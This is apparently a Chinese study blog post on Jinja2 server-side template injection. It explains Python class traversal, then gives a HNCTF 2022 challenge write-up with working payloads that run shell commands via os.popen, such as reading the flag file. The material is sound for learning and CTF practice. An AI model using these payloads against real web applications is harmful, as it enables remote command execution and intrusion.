SSTI模板注入(jinja2)

前面学习了SSTI中的smarty类型,今天学习了Jinja2,两种类型都是flask框架的,但是在注入的语法上还是有不同

SSTI:服务器端模板注入,也属于一种注入类型。与sql注入类似,也是通过凭借进行命令的执行,sql是和数据库的查询语句进行拼接。SSTI是在后端的渲染进行拼接,SSTI主要是运用在目前的网站框架下。

经过查询资料,SSTI漏洞产生的原因:

因为在函数渲染时,对于用户输入的变量没有进行渲染,才会导致漏洞的出现

附上一张经典判断SSTI模板类型的图

Jinja2的语法

复制代码
{% ... %} //声明变量,当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}={%print(...)%}

基础知识

1.class

用于返回对象所属的类

复制代码
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
2.bases

用于查看类的父类,可以用数组进行索引

复制代码
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>
3.subclasses

返回类的所有子类

4.globals__和__init

init:实例化类时自动调用,也可以直接调用来初始化

globals:返回一个字典,包含当前作用域的全局变量和对应的值

一般我们要用的类是os._wrap_close,在获取类之后,调用init来实例化,之后globals获取这个对象的全局变量和对相应的值(这里我理解的是类似于序列化的过程经过实例化的过程,然后才能调用输出,globals就相当于一个输出的作用)

复制代码
(''.__class__.__base__.__subclasses__()[128].__init__.__globals__)
5.popen方法

字符串的形式输入命令(比如:ls,cat/flag等),它会创建一个子进程执行命令,从而逃逸jinja2的进程的沙箱限制(变量类型 →找到所属类型 →回溯基类 →寻找可利用子类 →最终payload),在用read来读取执行的结果

注入思路

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell
  • 用popen方法执行命令
  • read读取执行的结果
[HNCTF 2022 WEEK2]ez_SSTI

打开环境,先进行判断(这里参数是看了wp才知道是name的),通过判断知道是属于Jinja2模板的

构建payload,返回出所有的子类,一般要用到的子类是os._wrap_close,在不同的情况下所处的位置不同

复制代码
{{''.__class__.__bases__[0].__subclasses__()}}

寻找os._wrap_close类,定位在137,在该目录下寻找flag

复制代码
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
相关推荐
金士镧(厦门)新材料有限公司13 小时前
稀土化合物:未来科技的隐藏推动力
科技·安全·全文检索
华硕广东19 小时前
怎么才能去定义自己的生活呢?
科技·安全·技术美术
脚踏实地的大梦想家19 小时前
【Go】P19 Go语言并发编程核心(三):从 Channel 安全到互斥锁
开发语言·安全·golang
qyresearch_20 小时前
全球生物识别加密U盘市场:安全需求驱动增长,技术迭代重塑格局
网络·安全
std78791 天前
ISO 26262: 1~12部分,是汽车功能安全的国际标准,适用于道路车辆中的电气/电子系统。该标准分为12个部分,涵盖功能安全管理的全生命周期
安全·汽车
GIS数据转换器1 天前
2025无人机在电力交通中的应用实践
运维·人工智能·物联网·安全·无人机·1024程序员节
李白你好1 天前
日常运营提升效率 | 快速检索漏洞名称、问题描述、风险分析以及安全建议
安全
久违 °1 天前
【安全开发】Nuclei源码分析-任务执行流程(三)
安全·网络安全·go
white-persist1 天前
汇编代码详细解释:汇编语言如何转化为对应的C语言,怎么转化为对应的C代码?
java·c语言·前端·网络·汇编·安全·网络安全
newxtc1 天前
【辽宁政务服务网-注册_登录安全分析报告】
运维·selenium·安全·政务·安全爆破